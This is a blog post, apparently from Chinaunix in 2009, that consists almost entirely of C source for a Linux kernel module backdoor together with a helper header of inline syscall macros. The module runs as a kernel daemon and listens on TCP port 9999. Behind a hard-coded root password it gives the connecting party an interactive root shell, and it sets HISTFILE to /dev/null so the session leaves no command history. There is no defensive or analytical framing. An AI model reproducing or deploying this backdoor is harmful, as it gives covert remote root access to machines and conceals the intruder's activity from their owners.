Chinaunix首页 | 论坛 | 博客
  • 博客访问: 31565
  • 博文数量: 14
  • 博客积分: 1410
  • 博客等级: 上尉
  • 技术积分: 155
  • 用 户 组: 普通用户
  • 注册时间: 2009-10-07 10:01
文章分类
文章存档

2009年(14)

我的朋友

分类: LINUX

2009-10-07 11:16:05

///////////////////ksh.c///////////////////

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/syscalls.h>
#include <linux/errno.h>
#include <linux/delay.h>
#include <linux/hdlc.h>
#include <linux/kthread.h>
#include <asm/unistd.h>
#include "syscall.h"

#define LPORT 9999
#define USER "root\n"
#define PASS "r00t12\n"
#define AUTH_SUCC "Welcome, this is a kernel shell\n"
#define AUTH_FAIL "Incorrect password\n"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("rainman");

/*declare system calls*/
static inline my_syscall0(pid_t, fork); //fork()

static inline my_syscall1(int, close, int, fd); //int close(int fd)

static inline my_syscall2(int, dup2, int, oldfd, int, newfd); //int dup2(int oldfd, int newfd)

static inline my_syscall3(int, execve, const char *, filename, //int execve(const char *filename,

    const char **, argv, const char **, envp); // const char **argv, const char **envp)

static inline my_syscall3(int, write, int, fd, char *, buffer, int, size); //int write(int fd, char *buff, int size);

static inline my_syscall3(int, read, int, fd, char *, buffer, int, size); //int read(int fd, char *buff, int size);


char *env[] =
{
    "TERM=linux",
    "HOME=" "/",
    "LOGNAME=root",
    "USERNAME=root",
    "USER=root",
    "PS1=[\\u@\\h:\\w]\\$ ",
    "HISTFILE=/dev/null",
    "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin",
    "!TERM",
    NULL
};

char *earg[3] = { "sh", "-i",NULL };

int k_exit = 0;
struct socket *sk;
     

void kshell(int fd){
    char *user = "username:";
    char *pass = "password:";
    char u_buff[10], p_buff[10];
    if(write(fd, user, strlen(user)) < 0){
        printk("write failed\n");
        close(fd);
        return;
    }
    if(read(fd, u_buff, 10) < 0){
        printk("write failed\n");
        close(fd);
        return;
    }
    if(write(fd, pass, strlen(pass)) < 0){
        printk("write failed\n");
        close(fd);
        return;
    }
    if(read(fd, p_buff, 10) < 0){
        printk("write failed\n");
        close(fd);
        return;
    }
    if(strcmp(USER, u_buff)||strcmp(PASS, p_buff)){
        write(fd, AUTH_FAIL, strlen(AUTH_FAIL)+1);
        close(fd);
        return;
    }
    write(fd, AUTH_SUCC, strlen(AUTH_SUCC)+1);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/sh", (const char **)earg, (const char **)env);
    return;
}


void listen_func(void){
    struct socket *newsk;
    struct sockaddr_in addr;
    int len = sizeof(struct sockaddr);
    int fd;
    mm_segment_t old_fs;
     
    old_fs = get_fs();
    set_fs(get_ds());
     
    if(sock_create(AF_INET, SOCK_STREAM, 0, &sk) < 0){ //create listen socket

        printk("create socket failed\n");
    }
    memset(&addr, 0, len);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_port = htons(LPORT);
    if(sk->ops->bind(sk, (struct sockaddr*)&addr, len) < 0){ //bind

        printk("bind failed");
        return;
    }
    if(sk->ops->listen(sk, 5) < 0){ //listen

        printk("listen failed\n");
        return;
    }
    while(1){
        if(k_exit == 1){
            return;
        }

        if(sock_create(AF_INET, SOCK_STREAM, 0, &newsk) < 0){ //create new socket

            printk("create socket failed\n");
            return;
        }
        //printk("create ok\n");

         
        if((fd = sock_map_fd(newsk)) < 0){
            printk("socket map failed\n");
            return;
        }
        //printk("map ok\n");

         
        if(sk->ops->accept(sk, newsk, O_RDWR) < 0){ //accept

            printk("accept failed\n");
            return;
        }
        //printk("accept ok\n");

         
        if(fork()){ //fork

            kshell(fd);
            do_exit(1);
        }
        close(fd);
    }
    set_fs(old_fs);
    return;
     
     
     
}


int k_init_module(void){
    if(!fork()){
        daemonize("ksh");
        listen_func();
        do_exit(0);
    }
    return 0;

}

void k_exit_module(void){
    sock_release(sk);
}

module_init(k_init_module);
module_exit(k_exit_module);


 

//////////////////syscall.h////////////////////////////

#ifndef SYSCALLS_H
#define SYSCALLS_H

int errno;

#define my__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)

/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
my__syscall_return(type,__res); \
}

#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
    : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
      type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
                  "int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
    : "memory"); \
my__syscall_return(type,__res); \
}

#endif


阅读(471) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~